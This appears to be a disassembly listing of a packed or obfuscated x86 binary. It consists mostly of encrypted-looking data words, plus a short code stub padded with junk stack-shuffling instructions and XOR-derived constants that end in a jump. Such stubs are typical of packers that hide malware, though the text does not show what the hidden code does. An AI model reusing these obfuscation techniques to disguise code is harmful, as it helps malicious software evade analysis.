		dd 343C9DE8h, 6F371405h, 0E8119906h, 0EBA55D8Ah, 79184091h
		dd 723CD49Ch, 24A8135Eh, 19877CB0h, 1CE49D8Ch, 0BD4EF07Ah
		dd 0DBA79AFBh, 8943D27h, 0B5DEC443h, 0EAD820C3h, 641Eh
		dd 0ACEA2F00h, 0EFE53859h, 611E6D2Ah, 78BF6B8h,	8C19877Eh
		dd 0FA6119Dh, 0B7BB97DBh, 9C120308h, 97DB0F53h,	377B1A4Eh
		dd 77A26988h, 68175E26h, 1483ECB7h, 1AB260BFh, 0D22508B3h
		dd 1A35B917h, 0FC4E17FFh, 0D98BE2E9h, 19h, 0CDFEEF76h
		dd 0DB0F76A1h, 8BE76B97h, 97DB0F5Ch, 38781941h,	192h, 2EBB25D7h
		dd 93DDC1B1h, 5AB90EA4h, 0CF592348h, 18A4E4E7h,	0DB000000h
		dd 0B12EBB25h, 0A493FAC1h, 5B4BC60Eh, 0E7CB4832h, 6795E4h
		dd 25CA0000h, 0DA3F2EBBh, 9748299Ch, 0DB0FAC1Bh, 289B197h
		dd 186F3411h, 6F36EB9Fh, 8E179B04h, 8FFF1D5h, 0C7E070Fh
		dd 0E96B7C1Bh, 39h, 0ABBB2586h,	0DB0F98C7h, 945D6A97h
		dd 0A79A28F3h, 0F4E569D1h, 0DB0573BEh, 0E4FA6E97h
		dd 8D62AF25h, 688AFC99h, 0E576B7Bh, 4000000h, 10590h, 0B6F85D00h
		dd 3B5ACC4Bh, 0C590E8h,	253F0000h, 0C1B12EBBh, 228B4B21h
		dd 0FABB80ADh, 115ECB5h, 0CBA21264h, 90EFC0h, 259C0000h
		dd 0E3F2EBBh, 0F26911Dh, 373B97DBh, 512093D2h, 0DB0FA2EDh
		dd 0C8BBF97h, 0FB5C4962h, 47787577h, 0FB22FC2Bh, 1879E1B7h
		dd 46305D49h, 938B9B90h, 4Bh, 2EBB25C8h, 0F04733Fh, 511997DBh
		dd 5C13D8A6h, 1E2F3AFBh, 0DA9874EDh, 6EB393Ch, 0FBDE3D6Ah
		dd 0F1BD20FAh, 0FAFBDE86h, 5223D79Bh, 7CCE977Fh, 0FED89C2Fh
		dd 69D6DCCDh, 74FAFBD6h, 0D677A0CCh, 0E66AFAFBh, 10899Fh
		dd 90A60000h, 56h, 3A75A45Dh, 0C93B4E17h, 7B3B55A8h, 0AFFD8D0Ah
		dd 0DC97DB0Fh, 1D655343h, 0F125D51h, 5B0F97DBh,	250853D7h
		dd 0CC397FBBh, 352BDF53h, 83583BF4h, 3C990C93h,	0AC0697DBh
		dd 6B7B6BDBh, 0B1FC4683h, 629D8D06h, 0B924061h,	106AFE87h
		dd 1FFFFFFh, 28B90h, 7B3B3F00h,	679A030Ah, 0BC1719EAh
		dd 7BDC93E2h, 6C3CA3Bh,	954AF540h, 0AFF67ACFh, 3AB528CBh
		dd 0F9257F33h, 68D09DE6h, 0B9D5F861h, 9B1A6B2Bh, 232A52B3h
		dd 0F065004Fh, 4C551D91h, 65266515h, 515A91F0h,	8A67B2A8h
		dd 9B8FAEF9h, 0F37B6FE3h, 3E7BDE42h, 0B9D84EC9h, 0E5573CE6h
		dd 3071A727h, 43h, 50C6940Dh, 536804Eh,	0C225297Ch, 80722029h
		dd 959DE626h, 74432ADh,	0B191F019h, 228DD0F2h, 0E893DB5h
		dd 813E8BC9h, 0D98C9671h, 814353CEh, 5F7CBD18h,	841D716Ah
		dd 0A6658EF8h, 0BF6B71h, 0EF000000h, 0FF0C5976h, 0CB8B9E03h
		dd 1E4FF67Ah, 0D239E4F6h, 8ACACFD6h, 1D5BBC3Bh,	1C64A1A8h
		dd 3DA42AD5h, 92DA31F4h, 372A4B32h, 2A53A2E2h, 850A7539h
		dd 231797DBh, 0FDEE1F52h, 0DB8546B1h, 8E175B97h, 8478C989h
		dd 0DBBED448h, 0CB3A7A97h, 0C6594C37h, 0C33272D7h, 2C3D254h
		dd 0E5421D6Ch, 6990D89Dh, 0A0F4CF78h, 1FEB7EA6h, 9F5780EEh
		dd 64A91F6h, 69DC9A7Fh,	47B2F095h, 0D784B9E8h, 0F1BFBA90h
		dd 451h, 6286F7B3h, 8579C68Fh, 0DF539EE0h, 0F4087B3Ah
		dd 2E65311h, 0D89EEC61h, 0A9F4896Dh, 8ACFA246h,	5C24F93Dh
		dd 54151115h, 0EB8C115Eh, 130C91h, 0F4087D3Bh, 0CE05111h
		dd 0A7B3BDFh, 200C548Dh, 0DB0F0572h, 0C4337F97h, 0D997DB0Fh
		dd 0D75B0F91h, 0A23DA053h, 32DDF7BBh, 0A0A89DE6h, 1B8D3637h
		dd 0A5DE3A6h, 46D35E8h,	0AED8317Dh, 0FBD691F0h,	33AC332Bh
		dd 8AE8190Ah, 91F0AE5Dh, 35791840h, 9BCD939Fh, 0F18266EAh
		dd 264C7DEEh, 9DE82AC8h, 3F1C0D35h, 0AF1C5975h,	5A8BC73Bh
		dd 0FC91EBDDh, 0B75311B7h, 6B1F83ECh, 715997h, 92F60000h
		dd 97DB0F39h, 83C10991h, 9D018936h, 98E5AF6Ch, 38A1661Fh
		dd 0CBC20427h, 7DC08247h, 0F1B35624h, 3D1A138Ch, 0B770E73h
		dd 97DBF5DCh, 55F79F7Ah, 4B16B2F0h, 4FF377E0h, 0A148EFD6h
		dd 0F58CBEBDh, 1F135E20h, 0D79F3D7Ah, 707DFA6Eh, 6E34CA8Bh
		dd 66EA9C1Bh, 0BA79D31Fh, 1DF297DBh, 74460309h,	0FA65D297h
		dd 0BACF3874h, 6ED297DBh, 3BD506FAh, 498E097Eh,	0EA6EE0Ch
		dd 0CC4BFF46h, 0FA2E4857h, 85097F8Ch, 0C0096611h, 0A8C93E7Bh
		dd 8ACFCDD9h, 5A8DF93Dh, 4597DB06h, 7B8C9EEFh, 0C7ABDC6Bh
		dd 97DB2998h, 3978DD85h, 5091B7CEh, 0CEFFFFFFh,	4672AEFh
		dd 8A01469Bh, 8011850Dh, 0FD7ACB8Bh, 0FC445C24h, 10840AB5h
		dd 0EF80671Ch, 76A1CDFEh, 6B97DB0Fh, 412D9EE7h,	9DE60903h
		dd 85ECB491h, 0F4B1941Ah, 23AAFE87h, 0F00E004Fh, 0A1551D91h
		dd 0E034836h, 4E7F91F0h, 55E239D5h, 0F08EEE59h,	0D64FF391h
		dd 0F78EAA0Dh, 17610A18h, 0E271A729h, 3Bh, 78C22599h, 5B50CF3Ah
		dd 0DB0FE857h, 0D94DF597h, 9EE72455h, 732DA651h, 0A9281B21h
		dd 915223D7h, 0E6ED571Dh, 611E429Dh, 0F0D2BA11h, 5B4BC691h
		dd 0A7404832h, 0DF9571h, 0EFCA0000h, 0F47B0FEh,	165A97DBh
		dd 76CA8A8Fh, 60D737F1h, 6BCA3223h, 88D61283h, 979403B7h
		dd 0F283F2B2h, 6DEA5F25h, 1A85ECB4h, 0F0347DC5h, 0DB1F80B4h
		dd 1F662E97h, 186929EEh, 98D8BD79h, 7077AE29h, 0E2A0CEFFh
		dd 179DE66Bh, 0B134CF23h, 54D8256Fh, 57A2E025h,	7B6C9D4Eh
		dd 0F014C837h, 146DD591h, 0CED459AEh, 0DCD2C39Bh, 97DDAB93h
		dd 6DBBDA8Eh, 5117F4E5h, 5CB900E4h, 41B2F117h, 91D7C4DDh
		dd 98E48B24h, 68D78AB0h, 1C41Ch, 136A2E00h, 0CA397A1Fh
		dd 0AC115336h, 85EEB548h, 73C68C61h, 97FD4BFh, 673AFE4Bh
		dd 0BA5FD31Ch, 976A8EFDh, 868266CFh, 899CCBA7h,	8E8191EBh
		dd 0E976EF9Fh, 3C5A6FC7h, 0C18794EDh, 0CC09B074h, 0B0653C83h
		dd 0EF9881F0h, 79FE830Ch, 47334209h, 29C22514h,	89CA0F20h
		dd 6C35BD3Ah, 0E6265C06h, 0ABE92E9Dh, 4435BE53h, 13870BB2h
		dd 3593E264h, 773F1C0Dh, 3A8BCB0Eh, 319AE45Bh, 4D91F058h
		dd 0CDBFC4CEh, 2871A6B9h, 0CFh,	682AEF47h, 30A40B54h, 85ECB461h
		dd 0A7FC51Ah, 4D549A03h, 48D38F2Ch, 0DFE22D41h,	4BFF97DBh
		dd 0D74B372Ah, 0AD97DBE4h, 0BBDA2568h, 0CB2F96DEh, 0C566E36h
		dd 0D641B0F0h, 0B233AC50h, 0A9624FDEh, 0ABE220Dh, 5D534A8Dh
		dd 3F4BB6F8h, 97DB58F0h, 0C8F165EDh, 0E613E8AAh, 0D1551D9Dh
		dd 3920BB22h, 0CEAF9375h, 0E8AB6E9Bh, 0E2961887h, 440DCAFBh
		dd 0B7CE40FFh, 0DD51A4E2h, 0A00F7A38h, 8AB0D405h, 0B23D4BF6h
		dd 1C000000h, 680DE158h, 4124D827h, 9B7EB2FFh, 0F2976BDCh
		dd 0C6AD41B4h, 0CC397F0Dh, 0A10A5528h, 9CEBA84Dh, 74BD8598h
		dd 0F9B5B4B0h, 91EB888Eh, 3BA9F893h, 0B6E18D7Dh, 0AB97DB0Fh
		dd 1AFF33A7h, 4061E65Ah, 8E4DCFE7h, 3BB5E61Ah, 548D0A7Bh
		dd 0B241A50Ch, 0E589B02Bh, 9DE88077h, 6BD49F72h, 0DFA778E7h
		dd 0B7FF9296h, 7FDCD14Eh, 0DC52CD3Ah, 756A79C5h, 48C758DFh
		dd 0AF165E5Ah, 8AEEB64Bh, 0D7454CD3h, 51CE7234h, 0C17EC988h
		dd 7BAD7910h, 88FB244Ah, 72E6D8D8h, 0C72E7623h,	0F4BD9A23h
		dd 79E108Fh, 74E35212h,	6DD09277h, 3AC14h, 9630000h, 0E7F3BA6h
		dd 0B9084891h, 2F9CD93Eh, 0DB246FB0h, 48BDFB5Ch, 0F94C0ACFh
		dd 69DA997Eh, 1A6729EEh, 0B4FB449Dh, 8953B30Bh,	4C381E3h
		dd 83000000h, 0FF5304EBh, 5B042474h, 5C24048Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, 33EA20AAh
		xor	ebp, 35DA590Fh
		push	ebp
		add	dword ptr [esp], 638B5007h
		pop	edx
		sub	edx, 638B5007h
		pop	ebp
		push	esp
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5516A7
; ---------------------------------------------------------------------------
		db 0A0h, 3Fh, 0BAh
		dd 0F914460Fh, 0B2362F96h, 0FEB8DD03h, 3063087h, 65E0FFC5h
		dd 0B173F974h, 1060CF9h, 0F95AFEADh, 0F958F965h, 417D1A7Dh
		dd 1A1B36C5h, 7F478E46h, 0ED577D38h, 0F26DDDBBh, 0F0125012h
		dd 313E93Fh, 9B284F0Ah,	0DB2CEFF9h, 9B67BCF1h, 0E95A2471h
		dd 0B0h, 0DA8C6660h, 0F04C2F6h,	0C85h, 1D853B00h, 0F062B0Bh
		dd 3684h, 19853B00h, 0F062B2Fh,	2A84h, 9853B00h, 0F062B18h
		dd 1E84h, 71853B00h, 0F062B0Dh,	1284h, 2DBD8300h, 1062B0Ah
		dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h
		dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h
		dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h
		dd 17820Fh, 0CF3B0000h,	0F830Fh, 0C3830000h, 850F4A04h
		dd 0FFFFFFDCh, 0DE9h, 0A19D8D00h, 0B8062B4Eh, 5, 0C361E3FFh
		dd 8D8DD00Bh, 6308AB8h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 37C35242h, 11958B9Eh,	66062B12h, 893879BEh
		dd 2B0EE18Dh, 43BA6606h, 0E185C7BFh, 0E4062B21h, 6A00005Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0E83FC352h, 81863A02h, 9AD28BEBh,	0E585C75Ch
		dd 62B2Bh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0FBA2C350h, 8B53C4BDh,	2B023195h
		dd 0B5FF5B06h, 62B21A5h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0EFC35747h, 32A35720h, 0B5092C40h, 62B0A45h
		dd 0FF1B501h, 95FF062Bh, 62B2731h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 61C35646h, 0ECA3792Ah, 128C0FC0h
		dd 0E8000000h, 6, 25907A57h, 0EA8127E0h, 742F394Dh, 0FF006A58h
		dd 2B294595h, 0EBC08B06h, 80E850Eh, 3B874395h, 23921B2Ah
		dd 0E94608C9h, 0DEh, 7FDF8160h,	81230537h, 572519CEh, 0B58D6152h
		dd 6308B24h, 35858DF8h,	0E9062E5Ah, 0Eh, 29DE8730h, 0DB93B838h
		dd 0DC9DDE13h, 0D0FFEDDCh, 0AE9h, 33E65200h, 373C84E7h
		dd 0C3EFB1ABh, 0FE9h, 0ECB36F00h, 1D293DF0h, 859ED0FCh
		dd 0A6BF5E03h, 0F8D98C66h, 0F04C1F6h, 4384h, 5840F00h
		dd 60000000h, 619EEE80h, 0CB8BFB8Bh, 75AEC032h,	0F7CF2BFDh
		dd 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh
		dd 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h
		dd 0E4EB008Bh, 0B8h, 6ACF00h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 69F162C3h, 0DA140991h
		dd 0FC00499Ah, 88A0Fh, 820F0000h, 2, 85C76160h,	6308B54h
		dd 1013Fh, 8CA88D8Dh, 6A0630h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0D6DD3C3h, 210D858Bh
		dd 8D89062Bh, 62B0EE1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0E4C35141h, 0E185C773h, 88062B21h, 8B00006Ch
		dd 2B338D95h, 85C7F506h, 62B2BE5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ADC35747h
		dd 2EF1B5FFh, 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0DB2F0C3h, 4870FB1h, 66000000h
		dd 8B5F64B8h, 2B002D85h, 3195FF06h, 6A062B27h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0D020C352h, 16BD2DB2h, 8B8F6245h, 2B2D4995h,	0FF006A06h
		dd 2B294595h, 0EBC08B06h, 8D4E4B4Bh, 0BCC31DA6h, 0E253F8B7h
		dd 579691ECh, 0B9399B49h, 3CDCFD68h, 0FC1B7C2Fh, 338CB136h
		dd 0EE9953A5h, 9AD1212Dh, 0F5DFAF9Eh, 0EFC57325h, 0ABEFB35h
		dd 443C43DCh, 70BFD858h, 0D96F9064h, 44667B1Bh,	520B74EAh
		dd 0ACEC2F2Ch, 60EBh, 17h dup(0)
		dd 0ACE90000h, 0E900000Bh, 0BA0h, 30956368h, 0F24AE906h
		dd 9C68FFFAh, 0E9063096h, 0FFFAF240h, 30971A68h, 0F236E906h
		dd 5A03FFFAh, 0E55B26Eh, 0BFA5C23Eh, 73F20D89h,	183E5955h
		dd 0D89FEA26h, 0E5211B3Fh, 3AF6D08Ah, 444084DDh, 930F292Bh
		dd 941622C9h, 0E992DB4Dh, 271576Bh, 78FACFA0h, 0D928E146h
		dd 0E5684385h, 0C92D83B6h, 0FF0DFF1Dh, 94EB3A4Dh, 0B821E00h
		dd 0E0E27817h, 0AF89CB24h, 6458015Ch, 79DDC887h, 0A1AFC917h
		dd 872937A0h, 0FA94EB9Ch, 5AA564h, 2B66E5C6h, 859C0D37h
		dd 0BBBDD8DDh, 26304E9Dh, 94EB9C84h, 0E6C561F9h, 2EFDC79Bh
		dd 2BB490D3h, 1C87767Ch, 9BA7043Eh, 55F7C8ACh, 0E67AC154h
		dd 0A1B40BE0h, 0AF1F4C9Fh, 7F071542h, 168ADCDAh, 9DC0DF08h
		dd 99FE6FABh, 45EBF966h, 386D243Ch, 0FE76C526h,	71B8DCD8h
		dd 0ED7A4C12h, 0EBC02DDFh, 0CF3E2094h, 0C55B0B0h, 0EEBCE0EBh
		dd 0F30F591Eh, 5E0D8357h, 0E1A1B43h, 94EBC07Ch,	82ED0911h
		dd 63728738h, 9F3BF243h, 4E15236Fh, 718DAD7Eh, 8DB7ABE6h
		dd 0E2717E1Ch, 0EBC054D6h, 0F8312994h, 7DF9960Ah, 17C96D5h
		dd 38h,	4E1271CDh, 1E8F9378h, 8054A1EDh, 0C0C96371h, 0A2BC94EBh
		dd 816971BEh, 1E7DEADAh, 94AA0127h, 2717115h, 56E7CA9Dh
		dd 0DDECF02h, 4E127149h, 4F9AB178h, 7C000000h, 89D6236Fh
		dd 47877D1Ah, 4C15AB6Dh, 738F9378h, 0F2929C04h,	5059C1B0h
		dd 4F12712Ah, 7381B079h, 94EBC0F9h, 8BBDA5E0h, 7BFBCD20h
		dd 0FB2E5AC7h, 0A5E2AE5Fh, 2D1349A2h, 0C72440DEh, 713B1FBBh
		dd 0EADA8169h, 85004FF6h, 7E00EBDDh, 12710B8Fh,	83B47553h
		dd 0F2913E33h, 0DA715A6Ch, 0EBC03CCEh, 0ADC95194h, 0E6C7D57Ch
		dd 198AC6D8h, 9826AA01h, 696D3F38h, 0A0FFCCF0h,	0D92487A1h
		dd 0D26CBF81h, 8E6125D8h, 6317EB0Ah, 0C86F7A34h, 9C0DE310h
		dd 6AF771FDh, 1B41577h,	5F3A0000h, 0CCCAC3E5h, 40162A6Fh
		dd 6775E27Eh, 94EBC0CDh, 0EE4D9E80h, 0CB545076h, 0C169713Ch
		dd 24677B21h, 0EB5DB03Ah, 5455C594h, 0E1C78136h, 6FD50DFDh
		dd 2202D623h, 0D57DF9BEh, 71017C96h, 46000000h,	0B4B28E5Bh
		dd 1877BECEh, 0C8A0345h, 0E05236Fh, 4A5EACC1h, 0B2660814h
		dd 71B94EBh, 718B4FEBh,	0C054D6E2h, 312994EBh, 0C0109AA6h
		dd 0F56594EBh, 7D0F1D34h, 1094EBC0h, 82C2C10Eh,	0F23B47A4h
		dd 0D6E271D4h, 94EBC054h, 59F83129h, 0EADA8141h, 0F2D90E7Dh
		dd 1A4281BBh, 36012C2Dh, 0D5D4E12Dh, 4D1271B1h,	1F8E907Bh
		dd 317508CEh, 6D000000h, 2D6236Fh, 0C0C96371h, 0B19194EBh
		dd 816971ADh, 71F6EADAh, 89B3A7E2h, 0B8321C22h,	0CD94EBC0h
		dd 0D1209B9Eh, 831FA46Eh, 218AACA4h, 7B5F9019h,	8AD52A6Fh
		dd 87A1A0FFh, 0C0EC8A06h, 0F96194EBh, 0B395CF12h, 0B1ADE877h
		dd 0E32A3497h, 0E1C781E7h, 6FD50DFDh, 0D120523h, 27714E50h
		dd 0BE22D78Bh, 96D57DF9h, 25017Ch, 5B460000h, 9A22E104h
		dd 24A26B5Dh, 2D6236Fh,	0C0C96371h, 0A2BC94EBh,	816971BEh
		dd 4FF6EADAh, 5C758Bh, 716D0000h, 0C17C8302h, 5A5324CAh
		dd 8ED35DA9h, 0C2B11EBAh, 16E94D4Bh, 9332495h, 0FBCD92EDh
		dd 0FB9F0E10h, 0C0C96371h, 629194EBh, 3967525Dh, 9ABEDAF2h
		dd 4AB7E271h, 5B9F385Ah, 8AB54936h, 1EEEED95h, 0DA81EBEFh
		dd 0F6123229h, 75004FE2h, 0EBC0C567h, 0C362494h, 0C658A3BFh
		dd 1271C3C7h, 9EB57452h, 0CDh, 0D65864F3h, 3794EBC0h, 42DC1F21h
		dd 2A6F4F4Bh, 0C47E8AD5h, 8994EBC0h, 6DE73A91h,	814B4F4Bh
		dd 71FDE1C7h, 0B37A4C12h, 2B2E6DE0h, 0F66BB615h, 0C561F9D2h
		dd 236FC6C4h, 0BE2202D6h, 96D57DF9h, 52017Ch, 6FCD0000h
		dd 0FA89D623h, 2883A59Fh, 0C0A64816h, 0C4794EBh, 507CD328h
		dd 94EBC0DEh, 9A13AFB3h, 0D50271FCh, 16B29FB6h,	2B0D4423h
		dd 0AF416FE2h, 0A294EB2Eh, 697198BCh, 7DEADA81h, 36705C0Eh
		dd 0BF6E5DCFh, 718B4F1Bh, 907B4D12h, 36F41F8Eh,	0E2000000h
		dd 4F15236Fh, 7391E79h,	0D17E9AA4h, 0AE99AFB2h,	0B7FF9285h
		dd 21A564E1h, 0C0C96371h, 0B19194EBh, 70271ADh,	166F45A9h
		dd 0E5DF7FD8h, 81152D24h, 4FF6EADAh, 5212718Bh,	28B9774h
		dd 886345FFh, 9C182C35h, 56D8E473h, 2B94EBC0h, 0C35F61F4h
		dd 9BBDB7CAh, 0C00C9C30h, 0BB5094EBh, 67447EDCh, 5529D2DBh
		dd 0A6311751h, 1FA62FFBh, 0D906139Dh, 0EB0921CBh, 0C3CA5494h
		dd 6640001Fh, 2D3BC685h, 94EB0983h, 4B0F68F6h, 5849A71h
		dd 651EF335h, 0A88EFDA1h, 0D70BEA0Eh, 5CAF91C9h, 62D9A6C2h
		dd 0FC35E8EEh, 0BEB6C9C0h, 9DED1C98h, 0B4F90750h, 0CB8AC61Fh
		dd 0CA587457h, 3B6D3E7Eh, 74CB2024h, 0A10CDFE1h, 202FE553h
		dd 0D268D63h, 0D362B639h, 77A7C3EFh, 2A5F776Ch,	7B000000h
		dd 76E1C781h, 8900441Bh, 0C054D6FAh, 0ACB594EBh, 69EC3398h
		dd 679E7457h, 27DECCA3h, 61E0BF63h, 0D3DA6447h,	76B294CCh
		dd 0E1C78162h, 84E9590Ah, 1321CC5Bh, 94EBC099h,	0F0DBED70h
		dd 1C8D8D6Eh, 0DC533474h, 0E6F2598Ah, 6D24B344h, 5A852139h
		dd 35911D2Fh, 532C7593h, 4CD2390Bh, 1868E15Dh, 0B2E18CDBh
		dd 0CE8967DBh, 327D1DEEh, 0B82E9F3h, 97B2885h, 5F005F73h
		dd 0EEE2C965h, 674F5B40h, 3497A9B1h, 7D4E6EE9h,	0C4AB9FA8h
		dd 315D21D0h, 713B7535h, 33E9h,	2A6FF500h, 0D1FF8AD5h
		dd 94EBC05Fh, 52FD2C32h, 0B092C8C7h, 71B89CD7h,	0EBC09D5Fh
		dd 0F76DB094h, 6F2AB5D1h, 65F5D6EAh, 6AEEADA4h,	17CB5854h
		dd 0AF000000h, 8AD52A6Fh, 0EBC0C07Eh, 164E8D94h, 2B47DB30h
		dd 457BE1BCh, 4E755549h, 6D000001h, 88D7246Fh, 0C05DEFFDh
		dd 2E3094EBh, 271DBFFh,	8648E26h, 21F4355Ch, 22C781A1h
		dd 0E9ED093Fh, 7DF9BE22h, 7B7C96D5h, 0A803251Ch, 9EBEB996h
		dd 399A6Fh, 0D0CF0000h,	0CF53B88Ah, 246FB8DEh, 637103D7h
		dd 94EBC0C9h, 0A635A2BCh, 0EBC0109Ah, 8AF56594h, 26458827h
		dd 0D0F63751h, 12716971h, 71B0794Fh, 4F01D5EBh,	36758Bh
		dd 6F6D0000h, 7103D724h, 0EBC0C963h, 76829194h,	94EBC0F4h
		dd 3A469189h, 94EBC0B0h, 253955C5h, 0DB816971h,	123E3326h
		dd 94EBC098h, 0B5D16DEDh, 4E1271A1h, 9AA0B178h,	0B6531271h
		dd 2C3299BFh, 0E6273B90h, 0DBFFD99Bh, 236FD50Dh, 4B0A89D6h
		dd 9809E6Dh, 71BE228Dh,	0A8A60A02h, 0E920E555h,	97B494EEh
		dd 2D287Ch, 71AA0000h, 0C054D6E2h, 312994EBh, 0FEFB47F8h
		dd 0C96371DAh, 0BC94EBC0h, 6971BEA2h, 794F1271h, 21D8C92h
		dd 4F75695Fh, 37758Bh, 716D0000h, 0C054D6E2h, 312994EBh
		dd 0CDFB47F8h, 0EBC00DBFh, 42DE4094h, 5212719Eh, 5C8B9774h
		dd 0EBC0BE30h, 5E4FD394h, 0C00BA5B3h, 0F75394EBh, 816971E3h
		dd 4FF6EADAh, 0E4D8818Bh, 0C038C907h, 0A21394EBh, 6E97C8DEh
		dd 7CB8D4EAh, 0E4D88158h, 4EA7B807h, 0BF70E19Ah, 7FF956B0h
		dd 50EC7259h, 0C7CA9807h, 97CE7EE0h, 0F348716h,	0DEE2773Bh
		dd 0D99F0271h, 0DAFC39FDh, 10616FD3h, 0E394EB53h, 0CFFB4460h
		dd 0AF18BFFAh, 0F9766985h, 0D97D97A4h, 69A0A6BAh, 0FFFE679Ch
		dd 62F03EFFh, 6394EBC0h, 9F0E3024h, 0EBC0E3F1h,	3FC86394h
		dd 0C4526B14h, 446B143Fh, 6B143FB6h, 0BE98D8B7h, 3FB3414Fh
		dd 5CACAB14h, 8ACDC817h, 0C8C159B2h, 21A83B49h,	63FFB526h
		dd 66BDB88h, 0A1A7BAD9h, 5AF5344Ah, 1725CF4Eh, 0CA78E6B3h
		dd 10591D1Bh, 0F652F526h, 0E2000002h, 34534F79h, 84E31F21h
		dd 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh, 0D7F16D8Ah
		dd 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92DB55B5h,	71744CC8h
		dd 0AD7E4812h, 43051C8Dh, 78FFA65h, 2FA24799h, 0BAAB7AB3h
		dd 8A6FE64Ah, 3450ECCAh, 16D99DABh, 322C8ADCh, 785AE8F6h
		dd 0F5456D24h, 0B9416FF8h, 0D47313EBh, 0C67E1D4Ah, 0A786E733h
		dd 6D893614h, 8EB2A7E2h, 0ED79CE3Dh, 8593185Bh,	744A0E69h
		dd 5C028B97h, 0C4270143h, 74EA6208h, 42147367h,	4AA1A3BBh
		dd 2F339834h, 33FD4DFEh, 53FC182Ch, 0AC90C9C4h,	0F064C35Fh
		dd 0CDB1DFCEh, 0E0794379h, 35A2BABDh, 855C8527h, 0CA66F879h
		dd 6046FE9Dh, 2F094BA4h, 481271DCh, 2E9E8F7Eh, 2E8A96C1h
		dd 2767B2CFh, 1363D03Bh, 0D36371DEh, 0D66DE25Ch, 49A2A6BBh
		dd 0E635F831h, 0DF63486Eh, 0FF791443h, 82C2DDD9h, 0FB8947A4h
		dd 0E475E664h, 0E4F05F94h, 6BD13B80h, 89FCFAA9h, 0B5BFD7C6h
		dd 0E956B7C5h, 0B996DFA5h, 324C9FA1h, 0B92638FBh, 4B4284DAh
		dd 363B8BB8h, 74C69BA9h, 0C159501Ah, 4E89DCB3h,	0F46956Fh
		dd 1BDh, 8804401Dh, 0D8D4E86Fh,	6BA799BFh, 0B773550Ch
		dd 0C03C0658h, 159C2B5h, 0B6A4C33Fh, 62F7108Ch,	345A25Eh
		dd 1C33E925h, 0DB567EF0h, 3D151392h, 4A111F6Fh,	6371DE7Ah
		dd 8ADC5303h, 46F7D44Ah, 0E0252AF6h, 80451B3Fh,	316CFB64h
		dd 0A7491729h, 466D24BCh, 42DC2F11h, 0CE86E179h, 8E7F03E8h
		dd 80F07583h, 9CFB7309h, 2B0D44B9h, 0EB223C8Fh,	15EC1608h
		dd 0F8505BBAh, 13F202Bh, 0C29B0000h, 76ED0A86h,	273D5A56h
		dd 0CB8AE521h, 80D631EDh, 403742BEh, 7DB983D7h,	920E3822h
		dd 0DCD8EC75h, 6BA781C3h, 0FC8E9AB1h, 9192DB57h, 271BF93h
		dd 0FD1D613Fh, 0F056CD61h, 0CFDE98E7h, 3D5963F4h, 55EB5BCCh
		dd 9CD7DA6Bh, 7AE501DFh, 98AAB0EFh, 0D2FE2F33h,	8ADC70AAh
		dd 0AE406CC3h, 0A36D2455h, 85C823BFh, 83C59BF6h, 0A6481628h
		dd 0DB6D2455h, 0AB4FA594h, 3E5AB8C1h, 0C6C7F961h, 639FB9BBh
		dd 939F89F4h, 5A6DACE3h, 65A4C006h, 0AF7C5A1Ah,	9663E5A0h
		dd 0C58D48BFh, 139A3632h, 0F25D92E2h, 137952E6h, 0A02F3373h
		dd 2DA54DF5h, 51587CBFh, 0F9CF92EDh, 8B7EE23Dh,	5450ECC8h
		dd 78DF383Bh, 0BFDB6744h, 8322443h, 16EF738Ch, 20DC785Eh
		dd 22AD97C7h, 27954777h, 0CD3CFB5Fh, 9C61F611h,	1B2784BEh
		dd 6CE403FFh, 0D87E1D4Ah, 1C7B27E6h, 1958373Eh,	8452EC3Fh
		dd 677529EAh, 0F867839Fh, 29AD5F6Dh, 0BEA06775h, 1984934Fh
		dd 50C6F1ECh, 57C8C138h, 0CE5D8AE7h, 0CAEC6423h, 0FD8F59E1h
		dd 90677509h, 0E9711F8Eh, 8479429Ah, 0A33F0159h, 5573F548h
		dd 3CA59h, 5EAC0000h, 0E8DC817Ah, 0A284BC03h, 5B6DF249h
		dd 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh
		dd 33154897h, 895708D8h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2404895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68241489h
		dd 7835h, 56242C89h, 0C40B2568h, 0EE815E35h, 6F963296h
